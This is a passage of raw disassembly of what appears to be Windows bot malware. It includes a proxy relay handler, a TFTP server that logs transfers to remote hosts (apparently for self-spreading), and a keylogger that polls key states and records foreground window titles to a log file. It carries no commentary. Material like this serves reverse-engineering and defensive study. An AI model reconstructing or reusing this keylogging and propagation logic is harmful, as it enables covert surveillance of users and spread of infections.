		push	[ebp+var_40]
		call	dword_4CDC64	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4CDCE4	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_440BA4[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CDC90	; bind
		test	eax, eax
		jnz	loc_4119D4
		push	0Ah
		push	edi
		call	dword_4CDC8C	; listen
		test	eax, eax
		jnz	loc_4119D4
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_42CF78
		push	eax
		call	sub_41C056
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_41190E
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409982
		add	esp, 14h


loc_41190E:				; CODE XREF: sub_411833+B9j
					; sub_411833+18Aj ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_4157A5
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CDCF8	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_437200
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40AF8D
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_440B9C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_411A37
		push	esi
		push	esi
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4119CA
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_4371C0
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	loc_41190E
; ---------------------------------------------------------------------------


loc_4119C2:				; CODE XREF: sub_411833+19Aj
		push	5
		call	dword_428064	; Sleep


loc_4119CA:				; CODE XREF: sub_411833+16Dj
		cmp	[ebp+var_28], esi
		jz	short loc_4119C2
		jmp	loc_41190E
; ---------------------------------------------------------------------------


loc_4119D4:				; CODE XREF: sub_411833+7Bj
					; sub_411833+8Cj
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_43718C
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_411A17
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409982
		add	esp, 14h


loc_411A17:				; CODE XREF: sub_411833+1C2j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_4157A5
		push	[ebp+var_3C]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_411833	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A37	proc near		; DATA XREF: sub_411833+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		inc	edi
		lea	esi, dword_440BA4[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4CDC4C	; select
		test	eax, eax
		jnz	short loc_411AB8
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411AB8:				; CODE XREF: sub_411A37+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4CDC7C	; recv
		test	eax, eax
		jg	short loc_411AE9
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411AE9:				; CODE XREF: sub_411A37+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_411CE3
		cmp	[ebp+var_4CF], 1
		jnz	loc_411CE3
		cmp	[ebp+var_44], bl
		jz	short loc_411B7F
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411B7F
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_4372CC
		call	sub_415819
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_41BD60
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CDCB4	; send
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411B7F:				; CODE XREF: sub_411A37+CFj
					; sub_411A37+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_41BD60
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4CDCE4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_411C17
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		push	offset dword_43728C
		call	sub_415819
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41BD60
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CDCB4	; send
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411C17:				; CODE XREF: sub_411A37+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4CDC0C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411C86
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		push	offset dword_437248
		call	sub_415819
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41BD60
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CDCB4	; send
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411C86:				; CODE XREF: sub_411A37+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CDCB4	; send
		push	dword ptr [esi]
		push	edi
		call	sub_411CFB
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CDCFC	; closesocket
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411CE3:				; CODE XREF: sub_411A37+B9j
					; sub_411A37+C6j
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
sub_411A37	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CFB	proc near		; CODE XREF: sub_411A37+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_411D11:				; CODE XREF: sub_411CFB+BEj
					; sub_411CFB+EEj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx


loc_411D22:				; CODE XREF: sub_411CFB+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_411D33
		inc	eax
		cmp	eax, ecx
		jb	short loc_411D22


loc_411D33:				; CODE XREF: sub_411CFB+31j
		cmp	eax, ecx
		jnz	short loc_411D47
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_411D47:				; CODE XREF: sub_411CFB+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CDC4C	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4CDB50	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_411DA7
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4CDC7C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DEF
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DEF


loc_411DA7:				; CODE XREF: sub_411CFB+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDB50	; __WSAFDIsSet
		test	eax, eax
		jz	loc_411D11
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC7C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DEF
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_411D11


loc_411DEF:				; CODE XREF: sub_411CFB+93j
					; sub_411CFB+AAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411CFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DF4	proc near		; CODE XREF: sub_411DF4:loc_41225Fp
					; DATA XREF: sub_401B66+202Bo ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4CDCE4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_411E94
		push	190h
		call	dword_428064	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_411E74
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409982
		add	esp, 14h


loc_411E74:				; CODE XREF: sub_411DF4+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4157A5
		push	[ebp+var_168]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411E94:				; CODE XREF: sub_411DF4+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4CDC44	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4CDC44	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_440BA4[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4CDC90	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411F1E
		push	1388h
		call	dword_428064	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_41225F
; ---------------------------------------------------------------------------


loc_411F1E:				; CODE XREF: sub_411DF4+10Fj
		lea	eax, [ebp+var_370]
		push	offset dword_42A06C
		push	eax
		call	sub_41BC92
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_411F84
		push	190h
		call	dword_428064	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409982
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4157A5
		push	[ebp+var_168]
		call	sub_40B2A3
		add	esp, 1Ch
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411F84:				; CODE XREF: sub_411DF4+142j
					; sub_411DF4+425j
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_412222
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4CDC4C	; select
		test	eax, eax
		jle	loc_412216
		mov	al, byte_43FE14
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4CDC3C	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41C056
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_412200
		cmp	[ebp+var_CF], 1
		jnz	loc_41210C
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_41B7B0
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_41D9ED
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41B8EA
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CDCC8	; sendto
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4120FA
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409982
		add	esp, 14h


loc_4120FA:				; CODE XREF: sub_411DF4+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4157A5
		pop	ecx
		jmp	loc_412216
; ---------------------------------------------------------------------------


loc_41210C:				; CODE XREF: sub_411DF4+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_412200
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_412143
		inc	al
		xor	cl, cl
		mov	[ebp+var_575], bl
		jmp	short loc_41214B
; ---------------------------------------------------------------------------


loc_412143:				; CODE XREF: sub_411DF4+341j
		inc	cl
		mov	[ebp+var_575], cl


loc_41214B:				; CODE XREF: sub_411DF4+34Dj
		mov	[ebp+var_576], al
		mov	edi, 200h
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, edi
		push	eax
		push	[ebp+var_4]
		call	sub_41D9ED
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_41B8EA
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CDCC8	; sendto
		cmp	edi, ebx
		jnz	short loc_412216
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4121EB
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409982
		add	esp, 14h


loc_4121EB:				; CODE XREF: sub_411DF4+3D2j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4157A5
		inc	dword_4D0760
		pop	ecx
		jmp	short loc_412216
; ---------------------------------------------------------------------------


loc_412200:				; CODE XREF: sub_411DF4+24Aj
					; sub_411DF4+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_43730C
		push	esi
		call	dword_4CDCC8	; sendto


loc_412216:				; CODE XREF: sub_411DF4+1E9j
					; sub_411DF4+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_411F84
		mov	edi, [ebp+arg_0]


loc_412222:				; CODE XREF: sub_411DF4+199j
		push	esi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_4]
		call	sub_41B82B
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_412253
		push	[ebp+var_168]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_412253:				; CODE XREF: sub_411DF4+44Aj
		push	3E8h
		call	dword_428064	; Sleep
		push	edi


loc_41225F:				; CODE XREF: sub_411DF4+125j
		call	sub_411DF4
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_411DF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41226B	proc near		; CODE XREF: sub_41234A+B4p
					; sub_41234A+247p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_428130	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_428078	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_437AF4 ; "\\"
		push	eax
		call	sub_41C690
		lea	eax, [ebp+var_114]
		push	offset dword_42A11C
		push	eax
		call	sub_41C690
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BC92
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_4122D0
		inc	eax
		jmp	short loc_412347
; ---------------------------------------------------------------------------


loc_4122D0:				; CODE XREF: sub_41226B+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41C5D6
		push	esi
		call	sub_41B82B
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_412345
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_437AC4
		push	200h
		push	eax
		call	sub_41C150
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 24h


loc_412345:				; CODE XREF: sub_41226B+A1j
		xor	eax, eax


loc_412347:				; CODE XREF: sub_41226B+63j
		pop	esi
		leave
		retn
sub_41226B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41234A	proc near		; DATA XREF: sub_401B66+43C9o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_4CDBE8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CDC00	; GetWindowTextA
		mov	ebx, 200h


loc_4123A5:				; CODE XREF: sub_41234A+2BBj
		push	8
		call	dword_428064	; Sleep
		call	dword_4CDBE8	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_41242D
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CDC00	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_41C056
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_41226B
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch


loc_41242D:				; CODE XREF: sub_41234A+6Cj
		mov	[ebp+arg_0], offset aB_0 ; "b"


loc_412434:				; CODE XREF: sub_41234A+2B1j
		push	10h
		call	dword_4CDB38	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_4CDC30	; GetAsyncKeyState
		test	ah, ah
		jns	short loc_4124CB
		push	14h
		call	dword_4CDB38	; GetKeyState
		test	ax, ax
		jz	short loc_41247C
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41247C
		cmp	edi, 40h
		jle	short loc_41247C
		cmp	edi, 5Bh
		jge	short loc_41247C
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_4125F0
; ---------------------------------------------------------------------------


loc_41247C:				; CODE XREF: sub_41234A+111j
					; sub_41234A+116j ...
		push	14h
		call	dword_4CDB38	; GetKeyState
		test	ax, ax
		jz	short loc_4124A7
		test	esi, esi
		jge	short loc_4124BB
		cmp	edi, 40h
		jle	short loc_4124A7
		cmp	edi, 5Bh
		jge	short loc_4124A7
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_4125F0
; ---------------------------------------------------------------------------


loc_4124A7:				; CODE XREF: sub_41234A+13Dj
					; sub_41234A+146j ...
		test	esi, esi
		jge	short loc_4124BB
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_4125F0
; ---------------------------------------------------------------------------


loc_4124BB:				; CODE XREF: sub_41234A+141j
					; sub_41234A+15Fj
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_4125F0
; ---------------------------------------------------------------------------


loc_4124CB:				; CODE XREF: sub_41234A+104j
		lea	eax, [ebp+edi*4+var_8DC]
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4125F0
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41B7B0
		cmp	edi, 8
		pop	ecx
		jnz	short loc_4124FE
		and	[ebp+eax+var_2DD], 0
		jmp	loc_4125F0
; ---------------------------------------------------------------------------


loc_4124FE:				; CODE XREF: sub_41234A+1A5j
		cmp	eax, 1B9h
		jbe	short loc_41252A
		call	dword_4CDBE8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CDC00	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_41256B
; ---------------------------------------------------------------------------


loc_41252A:				; CODE XREF: sub_41234A+1B9j
		cmp	edi, 0Dh
		jnz	loc_4125C2
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41B7B0
		test	eax, eax
		pop	ecx
		jz	loc_4125F0
		call	dword_4CDBE8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CDC00	; GetWindowTextA
